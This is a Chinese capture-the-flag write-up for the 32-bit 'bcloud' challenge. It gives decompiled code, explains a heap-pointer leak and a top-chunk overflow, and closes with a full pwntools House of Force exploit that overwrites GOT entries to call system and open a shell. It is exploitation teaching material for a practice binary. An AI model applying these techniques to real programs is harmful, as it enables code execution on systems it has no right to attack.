32位程序 #House Of Force
程序逻辑
1 void __cdecl main() 2 { 3 setvbuf(stdin, 0, 2, 0); 4 setvbuf(stdout, 0, 2, 0); 5 setvbuf(stderr, 0, 2, 0); 6 init_bcloud(); 7 while ( 1 ) 8 { 9 switch ( menu() ) 10 { 11 case 1: 12 new_note(); 13 break; 14 case 2: 15 show_note(); 16 break; 17 case 3: 18 edit_note(); 19 break; 20 case 4: 21 delte_note(); 22 break; 23 case 5: 24 syn(); 25 break; 26 case 6: 27 quit(); 28 return; 29 default: 30 other(); 31 break; 32 } 33 } 34 }
init_bcloud函数中
s正好读入64位长度时,tmp指针会覆盖掉s末尾的\x0字符串终止符,strcpy以\x0为终止符,所以会将*(s)+tmp一起拷贝到tmp中,
info函数输出tmp内容,从而将tmp指针泄漏,即泄露了堆地址,为heap_base+0x8
1 unsigned int init_name() 2 { 3 char s; // [esp+1Ch] [ebp-5Ch] 4 char *tmp; // [esp+5Ch] [ebp-1Ch] 5 unsigned int v3; // [esp+6Ch] [ebp-Ch] 6 7 v3 = __readgsdword(0x14u); 8 memset(&s, 0, 0x50u); 9 puts("Input your name:"); 10 read_str(&s, 64, '\n'); 11 tmp = (char *)malloc(0x40u); 12 name = tmp; 13 strcpy(tmp, &s); 14 info(tmp); 15 return __readgsdword(0x14u) ^ v3; 16 }
init_org_host函数同理,会将*(s)+v2+*(host)一起拷贝到v2
当s读入64个字节时,v2的4个字节覆盖top_chunk的prev_size
host的前4个字节覆盖top_chunk的size
可以造成house of force
1 unsigned int init_org_host() 2 { 3 char s; // [esp+1Ch] [ebp-9Ch] 4 char *v2; // [esp+5Ch] [ebp-5Ch] 5 char v3; // [esp+60h] [ebp-58h] 6 char *v4; // [esp+A4h] [ebp-14h] 7 unsigned int v5; // [esp+ACh] [ebp-Ch] 8 9 v5 = __readgsdword(0x14u); 10 memset(&s, 0, 0x90u); 11 puts("Org:"); 12 read_str(&s, 64, 10); 13 puts("Host:"); 14 read_str(&v3, 64, 10); 15 v4 = (char *)malloc(0x40u); 16 v2 = (char *)malloc(0x40u); 17 org = v2; 18 host = v4; 19 strcpy(v4, &v3); 20 strcpy(v2, &s); 21 puts("OKay! Enjoy:)"); 22 return __readgsdword(0x14u) ^ v5; 23 }
利用思路
- 利用初始化名字处的漏洞泄漏堆的基地址。
- 利用 house of force 将 top chunk 分配至全局的 0x0804B0A0 的 ¬esize-8 处,当再次申请内存时,便返回 notesize 地址处的内存,从而我们就可以控制所有 note 的大小以及对应的地址了。
- 修改前三个 note 的大小为 16,并修改其指针为 free@got,atoi@got,atoi@got
- 将 free@got 修改为 puts@plt。
- 泄漏 atoi 地址。
- 再次修改另外一个 atoi got 项为 system 地址,从而拿到 shell。
expolit
1 from pwn import * 2 sh=process('./bcloud') 3 elf=ELF('./bcloud') 4 libc=ELF('/lib/i386-linux-gnu/libc.so.6') 5 6 def add(size,content): 7 sh.recvuntil('option--->>') 8 sh.sendline('1') 9 sh.recvuntil('Input the length of the note content:\n') 10 sh.sendline(str(size)) 11 sh.recvuntil('Input the content:\n') 12 sh.sendline(content) 13 14 def edit(idx,content): 15 sh.recvuntil('option--->>') 16 sh.sendline('3') 17 sh.recvuntil('Input the id:\n') 18 sh.sendline(str(idx)) 19 sh.recvuntil('Input the new content:\n') 20 sh.sendline(content) 21 22 def delete(idx): 23 sh.recvuntil('option--->>') 24 sh.sendline('4') 25 sh.recvuntil('Input the id:\n') 26 sh.sendline(str(idx)) 27 28 #leak ptr_name in heap 29 sh.sendafter('Input your name:\n','a'*64) 30 sh.recvuntil('Hey '+'a'*64) 31 heap_base=u32(sh.recv(4))-8 32 print 'heap_base: '+hex(heap_base) 33 34 #top_chunk_size=0xffffffff 35 sh.sendafter('Org:\n','a'*64) 36 sh.sendlineafter('Host:\n',p32(0xffffffff)) 37 38 #top_chunk_adr -> notesize_adr 39 topchunk_adr=heap_base+(0x40+8)*3 40 notelist_adr=0x0804B120 41 notesize_adr=0x0804B0A0 42 target_adr=notesize_adr-8 43 off_target_adr=target_adr-topchunk_adr 44 malloc_size=off_target_adr-8 45 add(malloc_size-4,'') 46 47 #notesize[0]=notesize[1]=notesize[2]=16 48 #notelist[0]=free_got notelist[1]=notelist[2]=atoi_got 49 payload=p32(16)*3 50 payload+=(notelist_adr-notesize_adr-12)*'a' 51 payload+=p32(elf.got['free'])+p32(elf.got['atoi'])*2 52 add(1000,payload) 53 54 #free_got->puts_plt 55 edit(0,p32(elf.plt['puts'])) 56 57 #leak atoi_adr 58 delete(1) 59 atoi_adr=u32(sh.recv(4)) 60 libc_base=atoi_adr-libc.symbols['atoi'] 61 print 'libc_base: '+hex(libc_base) 62 system_adr=libc_base+libc.symbols['system'] 63 print 'system_adr: '+hex(system_adr) 64 65 #atoi_got->system 66 edit(2,p32(system_adr)) 67 sh.sendlineafter('option--->>','/bin/sh\x00') 68 sh.interactive()